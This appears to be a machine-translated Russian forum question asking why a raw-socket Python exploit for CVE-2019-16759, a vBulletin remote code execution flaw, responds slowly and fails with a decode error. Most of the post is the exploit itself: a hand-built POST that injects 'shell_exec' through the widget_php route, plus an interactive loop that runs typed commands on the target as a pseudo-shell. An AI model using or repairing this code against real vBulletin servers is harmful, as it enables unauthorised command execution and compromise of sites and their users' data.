Я пытаюсь создать необработанную реализацию сокета CVE-2019-16759 доказательства концепции .
Когда мой код выполняется, он делает правильный запрос POST
, ивозвращает ответ [глядя на WireShark, я могу это подтвердить], но это занимает 5 секунд, в то время как реализация без сокетов происходит мгновенно.
Я заметил, что запрос POST
имеет это "продолжение"часть информации о пакете, которую я не вижу при запуске проверки концепции.
Моя библиотека сокетов, которая создает запрос POST
:
import socket
import urllib.parse
class socket_http:
req = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def __init__(self, HOSTURL, PORT=80, COMMAND="id"):
self.parsedURL = urllib.parse.urlparse(HOSTURL)
self.PORT = PORT
self.cmd = COMMAND
self.req.connect((self.parsedURL.netloc,PORT))
def closeSocket(self):
self.req.close()
def post(self, URL, connectionType="", HTTP_version="1.1"):
postURL = urllib.parse.urlparse(URL)
postReq = ""
if postURL.path == "":
postReq += "POST / HTTP/" + HTTP_version + "\r\n"
else:
postReq += "POST " + postURL.path + " HTTP/" + HTTP_version + "\r\n"
postReq += "Host: " + postURL.netloc + ":" + str(self.PORT) + "\r\n"
postReq += "User-Agent: python-requests/2.21.0\r\n"
postReq += "Accept-Encoding: gzip, deflate\r\n"
postReq += "Accept: */*\r\n"
postReq += "Connection: keep-alive\r\n"
postReq += "Content-Length: " + str(len("routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;")) + "\r\n"
postReq += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
postReq += "routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;\r\n"
self.req.send(postReq.encode())
chunks = []
while True:
chunk = self.req.recv(int(1024)).decode()
if chunk:
chunks.append(1024)
else:
break
return ''.join(chunks)
Мой код, который запускает эксплойт:
from socket_req import socket_http as socket
import sys
HOST = "http://127.0.0.1"
PORT = 82
while True:
try:
session = socket(HOST, PORT)
session.cmd = input("$hell~")
print(session.cmd)
answer = session.post(HOST)
print(answer)
session.closeSocket()
except KeyboardInterrupt as e:
session.closeSocket()
sys.exit("\nClosing shell...")
except Exception as e:
session.closeSocket()
sys.exit(str(e))
Я хочу найти основную проблему, объясняющую, почему запрос так долго отвечает по сравнению с POC, которыймгновенный (вы можете увидеть в захвате WireShark, что запрос POST
был отправлен за 2,3 секунды, а ответ пришел за 7,3 секунды). Когда я запускаю этот скрипт, вот что происходит:
$hell~ls
ls
'utf-8' codec can't decode byte 0x8b in position 274: invalid start byte
Я полагаю, что здесь есть две проблемы, первая из которых связана с большой задержкой, а вторая - с ошибкой «неверный стартовый байт».